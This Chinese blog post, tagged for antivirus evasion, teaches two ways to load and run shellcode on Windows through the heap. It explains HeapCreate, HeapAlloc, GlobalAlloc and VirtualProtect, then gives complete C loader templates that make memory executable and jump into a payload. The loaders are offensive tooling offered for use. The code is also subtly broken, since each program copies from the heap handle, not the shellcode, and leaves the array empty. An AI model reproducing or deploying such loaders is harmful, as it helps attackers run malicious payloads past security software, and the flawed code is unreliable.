首页 技术杂谈 正文
  • 本文约2287字,阅读需11分钟
  • 162
  • 0

ShellCode加载 - 堆加载

摘要

shellcode堆加载方式

1、堆加载

方法一

1.1、通过heapCreate函数的方式创建堆
  • 函数介绍:创建可由调用进程使用的专用堆对象。 该函数在进程的虚拟地址空间中保留空间,并为此块的指定初始部分分配物理存储。
  • 函数的语法
HANDLE HeapCreate(
  [in] DWORD  flOptions,     // 默认选项  参数 HEAP_CREATE_ENABLE_EXECUTE(从此堆分配的所有内存块都允许执行代码) | HEAP_GENERATE_EXCEPTIONS | HEAP_NO_SERIALIZE
  [in] SIZE_T dwInitialSize, // 堆的初始大小
  [in] SIZE_T dwMaximumSize  // 堆的最大大小,如果为0,表示堆是可扩展的
);
Plain text
  • 返回值 : 如果函数成功,则返回值是新创建的堆的句柄
1.2、使用HeapAlloc函数在堆上分配内存中间
  • 函数介绍:从堆中分配一块内存。分配的内存不可移动
  • 函数的语法
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap, // 新创建的堆的句柄
  [in] DWORD  dwFlags, // 默认选项 参数 HEAP_ZERO_MEMORY(分配的内存将被初始化为零)
  [in] SIZE_T dwBytes  // 需要的内存大小
);
Plain text
  • 返回值 : 返回值是指向分配的内存块的指针
1.3、使用VirtualProtect函数修改内存中的权限
  • 函数介绍:更改调用过程的虚拟地址空间中已提交页面区域的保护
  • 函数的语法
BOOL VirtualProtect(
  [in]  LPVOID lpAddress, // 要修改的内存区域的起始地址
  [in]  SIZE_T dwSize, // 要修改的内存区域的大小
  [in]  DWORD  flNewProtect, // 新的内存保护属性:可读、可写、可执行
  [out] PDWORD lpflOldProtect // 保存原始的内存保护属性
);
Plain text
  • 返回值:如果该函数成功,则返回值为非零值
1.4、使用heapFree函数释放内存
BOOL HeapFree(
  [in] HANDLE                 hHeap, // 堆的句柄
  [in] DWORD                  dwFlags, // 0
  [in] _Frees_ptr_opt_ LPVOID lpMem // 指向要释放的内存的指针
);
Plain text
1.5、实现代码
#include<windows.h>

unsigned char shellcode[] = ;

int main() {

    // 创建堆
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,sizeof(shellcode), sizeof(shellcode));

    // 给堆分配内存
    LPVOID BUFFER = HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

    //把堆中的内容移动到内存中
    RtlMoveMemory(BUFFER, HeapHandle, sizeof(shellcode));

    // 修改内存的权限,修改为可执行
    DWORD oldProtect;
    VirtualProtect(BUFFER, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 强制转换内存地址为函数指针,然后调用它
    ((void(*)())BUFFER)();
    // 释放内存
    HeapFree(HeapHandle,0, BUFFER);
    // 销毁之前创建的堆
    HeapDestroy(HeapHandle);
    return 0;
}
Plain text

方法二

1.6、通过GlobalAlloc函数分配全局内存
  • 函数介绍:从堆分配指定的字节数
  • 函数语法
DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  [in] UINT   uFlags, // 初始化内存的大小 参数 GMEM_ZEROINIT(为0)
  [in] SIZE_T dwBytes // 需要的内存大小
);
Plain text
  • 返回值 : 如果函数成功,则返回值是新分配的内存对象的句柄
1.7、通过GlobalLock函数锁定全局内存
  • 函数介绍 : 锁定全局内存对象并返回指向该对象内存块的第一个字节的指针

  • 函数语法

LPVOID GlobalLock(
  [in] HGLOBAL hMem //全局内存对象的句柄
);
Plain text
1.8、实现代码
#include<windows.h>

unsigned char shellcode[] = ;

int main() {

    // 使用GlobalAlloc分配全局内存
    HGLOBAL  HeapHandle = GlobalAlloc(GMEM_ZEROINIT,sizeof(shellcode));

    // 使用GlobalLock锁定全局内存,获取真实的内存地址
    LPVOID BUFFER = GlobalLock(HeapHandle);

    //把堆中的内容移动到内存中
    RtlMoveMemory(BUFFER, HeapHandle, sizeof(shellcode));

    // 修改内存的权限,修改为可执行
    DWORD oldProtect;
    VirtualProtect(BUFFER, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 强制转换内存地址为函数指针,然后调用它
    ((void(*)())BUFFER)();

    // 使用GlobalUnlock解锁之前锁定的全局内存
    GlobalUnlock(HeapHandle);
    // 释放之前分配的全局内存
    GlobalFree(HeapHandle);
    return 0;
}
Plain text
标签:免杀
评论